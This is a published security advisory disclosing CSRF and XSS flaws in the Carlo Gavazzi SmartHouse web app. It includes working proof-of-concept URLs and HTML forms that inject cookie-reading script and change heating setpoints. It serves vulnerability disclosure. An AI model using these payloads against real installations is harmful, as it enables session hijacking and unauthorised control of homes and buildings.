Share
Carlo Gavazzi SmartHouse Webapp 6.5.33 CSRF/XSS Vulnerabilities  
  
  
Vendor: Carlo Gavazzi Automation S.p.A  
Product web page: http://www.gavazzi-automation.com | http://www.smarthouse.nu  
Affected version: Web-app: 6.5.33.17072501  
Web-app: 6.5.32.17062101  
Web-app: 6.2.3.16102701  
Web-app: 5.5.3.160421101  
Web-app: 5.3.3.15120101  
Release: 1.0.5.1  
Release: 1.0.5.0  
Release: 1.0.3.5  
Release: 1.0.3.2  
  
Summary: Carlo Gavazzi is an international company that develops, manufactures  
and sells electrical automation components. Our products are used in industrial  
automation and real estate automation. Smart-house is based on a system that we  
have developed and produced since 1986, mainly for industrial-related installations.  
Our system is present in more than 150,000 installations. For a few years now, we  
have focused our development on smart electrical installations for home and property  
automation. Smart-house is currently installed in both villas and commercial properties.  
  
Desc: The application suffers from multiple CSRF and XSS vulnerabilities. The application  
allows users to perform certain actions via HTTP requests without performing any validity  
checks to verify the requests. This can be exploited to perform certain actions with  
administrative privileges if a logged-in user visits a malicious web site. Input passed  
to several GET/POST parameters is not properly sanitised before being returned to the user.  
This can be exploited to execute arbitrary HTML and script code in a user's browser session  
in context of an affected site.  
  
Tested on: Apache  
PHP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5543  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5543.php  
  
  
01.11.2019  
  
--  
  
  
Reflected XSS (GET):  
--------------------  
  
1. http://192.168.0.24/app/index.php?error=Waddup"><script>confirm(document.cookie)</script> (pre-auth)  
2. http://192.168.0.24/app/messagepage.php?msg=<script>confirm(document.cookie)</script> (pre-auth)  
3. http://192.168.0.24/app/detaf.php?p=0&l=50"><script>confirm(document.cookie)</script>&f=5658 (post-auth)  
4. http://192.168.0.24/app/detaf.php?p=0"><script>confirm(document.cookie)</script>&l=50&f=5658 (post-auth)  
5. http://192.168.0.24/?functionsh=list&part[]=fn__intrudermain001&part[]=fn__intrudersec002&name=IntruderMainFunction"><script>confirm(document.cookie)</script>&grpl=1 (post-auth)  
  
  
CSRF set temperature:  
---------------------  
  
<html>  
<body>  
<form action="http://192.168.0.24/app/datasend.php" method="POST">  
<input type="hidden" name="IDFunction" value="3875" />  
<input type="hidden" name="favorite" value="0" />  
<input type="hidden" name="rooms" value="-1" />  
<input type="hidden" name="userId" value="-300" />  
<input type="hidden" name="heat_ensave_set" value="24" />  
<input type="hidden" name="heat_set" value="25.5" />  
<input type="submit" value="Set" />  
</form>  
</body>  
</html>  
  
  
Stored XSS (POST):  
------------------  
  
<html>  
<body>  
<form action="http://192.168.0.24/app/command.php" method="POST">  
<input type="hidden" name="op" value="11" />  
<input type="hidden" name="name" value='Graph name"><script>confirm(document.cookie)</script>' />  
<input type="hidden" name="period" value="2" />  
<input type="hidden" name="gg" value="6" />  
<input type="hidden" name="ggf" value="6" />  
<input type="hidden" name="mm" value="11" />  
<input type="hidden" name="mmf" value="11" />  
<input type="hidden" name="aa" value="2019" />  
<input type="hidden" name="aaf" value="2019" />  
<input type="hidden" name="param" value="[1]" />  
<input type="submit" value="Send" />  
</form>  
</body>  
</html>  
  
  
Reflected XSS (POST):  
---------------------  
  
<html>  
<body>  
<form action="http://192.168.0.24/refresh.php">  
<input type="hidden" name="param[0][]" value="switch0251<script>confirm(document.cookie)</script>" />  
<input type="hidden" name="param[0][]" value="0251" />  
<input type="hidden" name="param[0][]" value="switch" />  
<input type="hidden" name="param[1][]" value="switch1250" />  
<input type="hidden" name="param[1][]" value="1250" />  
<input type="hidden" name="param[1][]" value="switch" />  
<input type="submit" value="Send" />  
</form>  
</body>  
</html>